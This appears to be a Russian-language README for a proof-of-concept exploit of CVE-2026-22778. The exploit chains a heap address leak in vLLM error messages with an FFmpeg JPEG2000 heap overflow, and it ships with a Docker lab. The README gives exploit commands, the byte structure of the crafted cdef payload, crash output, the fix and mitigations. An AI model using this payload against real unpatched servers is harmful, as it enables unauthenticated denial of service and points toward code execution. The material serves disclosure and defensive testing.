Доказательство концепции эксплуатации для CVE-2026-22778 — неаутентифицированного RCE в обработке видео vLLM, демонстрирующего раскрытие адреса кучи и переполнение буфера кучи в декодере JPEG2000 FFmpeg. Включает уязвимую лабораторию для авторизованного тестирования.
| CVE | CVE-2026-22778 |
| Advisory | GHSA-4r2x-xpjr-7cvv |
| Затронуто | vLLM >= 0.8.3, < 0.14.1 (развёртывания, обслуживающие видеомодели) |
| Исправлено в | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Базовая ошибка | CVE-2025-9951 — переполнение кучи в декодере JPEG2000 в FFmpeg |
Две отдельные ошибки, объединённые в цепочку. Стандартный vllm serve не имеет
аутентификации, поэтому обе достижимы без аутентификации на /v1/chat/completions и
/v1/invocations.
Когда изображение не удаётся разобрать, Pillow вызывает исключение, сообщение которого
содержит repr() объекта BytesIO, из которого выполнялось чтение:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
vLLM превращал ошибки загрузки медиа в HTTP 400 и возвращал
exc.detail клиенту без изменений
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- утекает адрес дословно
...
Этот единственный адрес снижает энтропию ASLR кучи с ~32 бит примерно до 3, что делает этап 2 эксплуатируемым, а не просто аварией.
video_url загружается сервером и передаётся в OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (встроен в opencv-python-headless < 4.13)
vLLM зафиксировал opencv-python-headless >= 4.11.0, который поставляет FFmpeg 5.1.x. Его
декодер JPEG2000 выбирает целевую плоскость напрямую из блока определения каналов (cdef)
файла — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* из компонента */
int h = tile->comp[compno].coord[1][1] - ...; /* не из плоскости! */
plane контролируется атакующим, но w/h берутся из декодируемого
компонента, и ничто не проверяет, что одно помещается в другое. Запись cdef
вида cn=0, asoc=2 отправляет компонент 0 — плоскость яркости полного разрешения — в
плоскость 1, плоскость цветности с субдискретизацией 2×2.
Для кадра 150×64, используемого в этом PoC:
| размер | |
|---|---|
| Компонент Y (запись) | 150 × 64 = 9 600 байт |
| Плоскость U (назначение) | 75 × 32 = 2 400 байт |
| Переполнение | 7 200 байт за пределами выделения |
FFmpeg выделяет каждую плоскость как отдельный AVBuffer, поэтому переполнение
проходит через соседние фрагменты кучи — включая структуры AVBuffer, содержащие указатель
на функцию free. В сочетании с утечкой с этапа 1 перезапись этого
указателя превращает повреждение памяти в выполнение кода.
Этот PoC останавливается на повреждении памяти. Он доказывает запись за пределами буфера, убивая процесс сервера. Подготовка кучи и перезапись указателя на функцию намеренно не реализованы.
lab/app.py — минимальная реimplementation пути мультимодального приёма данных
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend и
обработчик ошибок до патча, каждый с аннотацией исходного файла, который он повторяет.
Среда выполнения модели заглушена: уязвимость полностью находится в приёме
медиа, который выполняется до инференса и не требует GPU или весов модели.
Всё на пути атаки — настоящее: тот же вызов Pillow, который
утекает адрес, и тот же вызов cv2.VideoCapture в непатченный
opencv-python-headless==4.11.0.86 (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
Опции:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # доставить полезную нагрузку по HTTP
python3 exploit.py --write-payload evil.jp2 # просто записать вредоносный файл
Эксплойт использует только стандартную библиотеку — без зависимостей.
[*] Этап 1 -- раскрытие адреса кучи через сообщение об ошибке PIL
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] Утёкший адрес кучи: 0xffff8f555300
ASLR обойдён: база кучи теперь известна с энтропией ~3 бита.
[*] Этап 2 -- переполнение кучи в декодере JPEG2000
Цель жива: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
Полезная нагрузка: 203 байта, JP2 150x64 yuv420p
cdef отображает компонент 0 -> плоскость 1: запись 9600 байт в плоскость 2400 байт (переполнение 7200 байт)
Запрос так и не завершился: удалённая сторона закрыла соединение без ответа
Проверка /health, чтобы узнать, что случилось с воркером...
[+] Воркер был убит и перезапущен: boot_id 95b62f18-... -> 4494d28c-...
[+] Запись за пределами буфера подтверждена.
И на стороне сервера:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
Остановка:
docker compose down
203 байта, созданные с нуля в build_payload(). Контейнер JP2, содержащий
минимальный кодовый поток JPEG2000, объявляющий три компонента с субдискретизацией 4:2:0
(чтобы FFmpeg выделил кадр yuv420p), плюс блок cdef, который
переназначает их:
cn=0, typ=0, asoc=2 <-- компонент 0 (полное разрешение) в плоскость 1 (субдискретизированную)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
Данные коэффициентов пусты. Декодер всё равно выделяет кадр из
заголовка SIZ и всё равно выполняет цикл записи, поэтому реальные данные изображения не нужны.
vLLM 0.14.1, через три PR:
Апстрим-FFmpeg теперь отклоняет карту cdef, которая не является перестановкой
каналов, и выводит пиксельный формат из переназначенных индексов:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
Замена фиксации лаборатории на opencv-python-headless>=4.13.0 заставляет ту же
полезную нагрузку безвредно завершаться с ошибкой error during processing marker segment ff51.
Если вы не можете обновиться: не обслуживайте видеомодели, включите аутентификацию перед
API и ограничьте загрузку медиа с помощью --allowed-media-domains.
docker compose собирать для нативной архитектуры arm64
(по умолчанию). Принудительный --platform linux/amd64 запускает
контейнер под эмуляцией, где аварийный процесс зависает вместо
завершения, и сбой труднее наблюдать.Только для образовательных целей и авторизованного тестирования безопасности. Запускайте его против лаборатории в этом репозитории или систем, на тестирование которых у вас есть явное разрешение.